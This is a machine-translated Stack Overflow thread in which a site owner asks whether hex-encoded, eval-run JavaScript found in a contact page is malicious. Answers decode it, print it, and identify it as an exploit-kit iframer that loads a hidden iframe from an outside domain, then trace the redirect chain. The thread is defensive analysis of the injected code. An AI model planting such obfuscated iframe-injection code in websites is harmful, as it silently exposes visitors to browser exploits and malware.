Javascript包含一个很长的十六进制字符串和eval:这是否可疑?


3

index.php文件的底部一个简单的“联系我们”的形式,我发现下面的(一些空白和换行符加):

try {if(window.document)--document.getElementById('12')} 
catch(qq) {if(qq!=null)ss=eval("St"+"ring");} 
a="74837c7182777d7c2e88888874747436372e89182e846f802e797a7171802e4b2e727d71837b737c823c7180736f8273537a737b737c8236357774806f7b7335374918182e797a7171803c8180712e4b2e357682827e483d3d7c777c7d807d7b6f7c7d3c77823d525c5558867251653c7e767e3549182e797a7171803c8182877a733c7e7d817782777d7c2e4b2e356f70817d7a8382733549182e797a7171803c8182877a733c707d807273802e4b2e353e3549182e797a7171803c8182877a733c7673777576822e4b2e35477e863549182e797a7171803c8182877a733c85777282762e4b2e35457e863549182e797a7171803c8182877a733c7a7374822e4b2e353f7e863549182e797a7171803c8182877a733c827d7e2e4b2e353f7e86354918182e77742e362f727d71837b737c823c757382537a737b737c82508757723635797a7171803537372e89182e727d71837b737c823c858077827336354a7277842e77724b6a35797a7171806a354c4a3d7277844c353749182e727d71837b737c823c757382537a737b737c82508757723635797a71718035373c6f7e7e737c725176777a7236797a7171803749182e8b188b1874837c7182777d7c2e617382517d7d79777336717d7d7977735c6f7b733a717d7d797773646f7a83733a7c526f87813a7e6f8276372e89182e846f802e827d726f872e4b2e7c73852e526f8273363749182e846f802e73867e7780732e4b2e7c73852e526f8273363749182e77742e367c526f87814b4b7c837a7a2e8a8a2e7c526f87814b4b3e372e7c526f87814b3f49182e73867e7780733c81738262777b7336827d726f873c75738262777b7336372e392e41443e3e3e3e3e384042387c526f87813749182e727d71837b737c823c717d7d7977732e4b2e717d7d7977735c6f7b7339304b30397381716f7e7336717d7d797773646f7a837337182e392e304973867e778073814b302e392e73867e7780733c827d555b62618280777c7536372e392e36367e6f8276372e4d2e30492e7e6f82764b302e392e7e6f82762e482e30303749188b1874837c7182777d7c2e557382517d7d797773362e7c6f7b732e372e89182e846f802e81826f80822e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e7c6f7b732e392e304b302e3749182e846f802e7a737c2e4b2e81826f80822e392e7c6f7b733c7a737c7582762e392e3f49182e77742e362e362e2f81826f80822e372e3434182e362e7c6f7b732e2f4b2e727d71837b737c823c717d7d7977733c818370818280777c75362e3e3a2e7c6f7b733c7a737c7582762e372e372e37182e89182e80738283807c2e7c837a7a49182e8b182e77742e362e81826f80822e4b4b2e3b3f2e372e80738283807c2e7c837a7a49182e846f802e737c722e4b2e727d71837b737c823c717d7d7977733c777c7273865d74362e3049303a2e7a737c2e3749182e77742e362e737c722e4b4b2e3b3f2e372e737c722e4b2e727d71837b737c823c717d7d7977733c7a737c75827649182e80738283807c2e837c7381716f7e73362e727d71837b737c823c717d7d7977733c818370818280777c75362e7a737c3a2e737c722e372e3749188b1877742e367c6f8477756f827d803c717d7d797773537c6f707a737237188918777436557382517d7d7977733635847781778273726d837f35374b4b434337898b737a817389617382517d7d7977733635847781778273726d837f353a2e354343353a2e353f353a2e353d3537491818888888747474363749188b188b18"; 
z=[]; 
for(i=0;i<a.length;i+=2){z.push(parseInt(a.substr(i,2),16)-14);} 
eval(ss["fr"+"omCharCode"].apply(ss,z)); 
</script><!--/0f2490--> 

任何人都知道这个代码是什么?这可能是该页面的预期部分,还是表示该网站已被黑客入侵?

+4

可能是该网站得到了“黑客” 10 8月. 132013-08-10 10:35:14

+1

不,它不是黑客攻击,这是混淆,这样你就不会明白它做什么。在谷歌搜索JavaScript混淆。 10 8月. 132013-08-10 10:36:57

+3

@AkashKava这并不意味着该网站没有被黑客入侵。 10 8月. 132013-08-10 10:39:21

  0

我该如何安全地测试该代码,以查看它的功能? 10 8月. 132013-08-10 10:41:19

+2

@Edward:用'console.log'替换最后一个'eval'。 10 8月. 132013-08-10 10:42:04

  0

@Edward我可以在[jsfiddle](http://jsfiddle.net)中运行它。 10 8月. 132013-08-10 10:42:29

6

我发现它做什么(请手下留情和我在一起,我不是JavaScript开发

什么可以很容易地看出,是脚本调用String.fromCharCode()上存在于a串号创建一个新的字符串,并执行它。在a字符串获取的转换为代码是:

function zzzfff() { 
var klccr = document.createElement('iframe'); 

klccr.src = 'http://ninoromano.it/DNGJxdCW.php'; 
klccr.style.position = 'absolute'; 
klccr.style.border = '0'; 
klccr.style.height = '9px'; 
klccr.style.width = '7px'; 
klccr.style.left = '1px'; 
klccr.style.top = '1px'; 

if (!document.getElementById('klccr')) { 
document.write('<div id=\'klccr\'></div>'); 
document.getElementById('klccr').appendChild(klccr); 
} 
} 

function SetCookie(cookieName,cookieValue,nDays,path) { 
var today = new Date(); 
var expire = new Date(); 
if (nDays==null || nDays==0) nDays=1; 
expire.setTime(today.getTime() + 3600000*24*nDays); 
document.cookie = cookieName+"="+escape(cookieValue) 
+ ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : ""); 
} 

function GetCookie(name) { 
var start = document.cookie.indexOf(name + "="); 
var len = start + name.length + 1; 
if ((!start) && 
(name != document.cookie.substring(0, name.length))) 
{ 
return null; 
} 
if (start == -1) return null; 
var end = document.cookie.indexOf(";", len); 
if (end == -1) end = document.cookie.length; 
return unescape(document.cookie.substring(len, end)); 
} 
if (navigator.cookieEnabled) 
{ 
if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/'); 

zzzfff(); 

现在,我不知道这一点(记住,我没有JavaScript的开发者),但它似乎是偷饼干代码(会话劫持也许)

编辑

在进一步的研究:

  • 脚本正在检查是否有特定的cookie存在(Name: "visited_uq", Content: "55", URL: "<current_url>", Path: "/", Expires: "24 hours after creation"),如果它是不是创建它。
  • 然后,它在文档中创建一个新元素,修改它以使其很难注意到(7像素宽度,9像素高度),并运行可在http://ninoromano.it/DNGJxdCW.php处获得的php脚本。如果您访问此页面,它将返回“ok”,并且页面代码中没有任何其他内容(该域似乎已被泄露)。 (我无法获得更多信息)

很可能是会话劫持企图。

  0

小提琴:http://jsfiddle.net/YkDWJ/ 10 8月. 132013-08-10 11:11:23

  0

由于这是在index.php中的“联系我们”的形式,什么可能是黑客做会话劫持有用吗?如果用户在“联系我们”表格中填写了什么内容,可能会拦截上下文吗? 10 8月. 132013-08-10 11:22:02

  0

谢谢。我不知道Security.StackExchange。 10 8月. 132013-08-10 11:29:10

  0

对不起,但这是不正确的。这是许多臭名昭着的攻击工具包的iframe加载阶段; cookie方法仅仅是为了确保用户不会多次加载iframe。 11 8月. 132013-08-11 16:59:23

  0

@Anorov对不起,我不知道那个。我绝不是安全专家,我也不知道任何与网络相关的东西(我是内核黑客/编译器工程师)。随意编辑我的答案来纠正它。 :) 12 8月. 132013-08-12 07:26:38


3

第一次运行它时,脚本会创建一个指向ninoromano.it的iframe。然后它创建一个cookie,以便在随后的时间载入它,它不会再运行。

iframe是一个浏览器利用脚本。如果你在一个浏览器中查看它并不知道你只是得到'ok'字符串,但是如果你将它加载到一个旧版本的IE中,你会得到大量漏洞来感染你的机器。

该网站遭到黑客入侵(其外观也如此ninoromano)。这种感染的常见来源是客户端恶意软件窃取服务器帐户密码(通常与漏洞利用服务器相同的恶意软件)。无论谁负责,都需要扫描所有使用多个AV访问服务器的客户机(因为AV不是很可靠);重新安装任何受感染的客户端;选择新的服务器密码;重新从头开始重新安装服务器。


3

你正在看的是一个利用工具包“iframer”的压缩(混淆)版本。 “iframer”只是意味着会加载外部iframe的Javascript代码片段;在大多数情况下,iframe将指向最终加载浏览器漏洞利用工具包的链的某个部分。

(显然不直接访问任何下面的链接。)

如果使用有效的引用程序和IE用户代理向攻击包登录页面hxxp://ninoromano.it/DNGJxdCW.php发出请求,您将被重定向到另一个URL。

这是重定向阶段; ninoromano.it在这种情况下是“TDS”的可能一部分,流量分布系统:它的工作是不同的开发基础上,引用者套件登陆页面(或有时通用spamvertising),有时客户端的国家分裂的流量。

http://www.symantec.com/connect/blogs/web-based-malware-distribution-channels-look-traffic-redistribution-systems

加载的URL具有类似于hxxp://innocuus.myseniorbook.com:801/lace_poet_prolonged.htm的图案。这里是它的内容。

http://pastebin.com/gw20261S

只要看一眼那个页面,我已经认识到这是“酷漏洞利用工具包”。您可以了解这个攻击工具包的详细信息在不同的地方:

http://www.avgthreatlabs.com/virus-and-malware-information/info/cool-exploit-kit/ http://malware.dontneedcoffee.com/2012/10/newcoolek.html http://malware.dontneedcoffee.com/2013/07/a-styxy-cool-ek.html

另一个IFRAME通过登陆页面加载,hxxp://innocuus.myseniorbook.com:801/who-solely_sex_painting.html

这个iframe中包含大量实际的恶意代码。它会尝试各种攻击,主要是Java攻击,所有这些攻击都会下载并执行恶意负载。

http://urlquery.net是自动化这种分析的一个奇妙的网站。只要确保每次都设置IE用户agenet和某种引用。

很多不同的漏洞利用工具包使用JS打包机的是味道,你在页面底部看到。如果你看到任何类似的代码,你可以认为它是非常恶意的。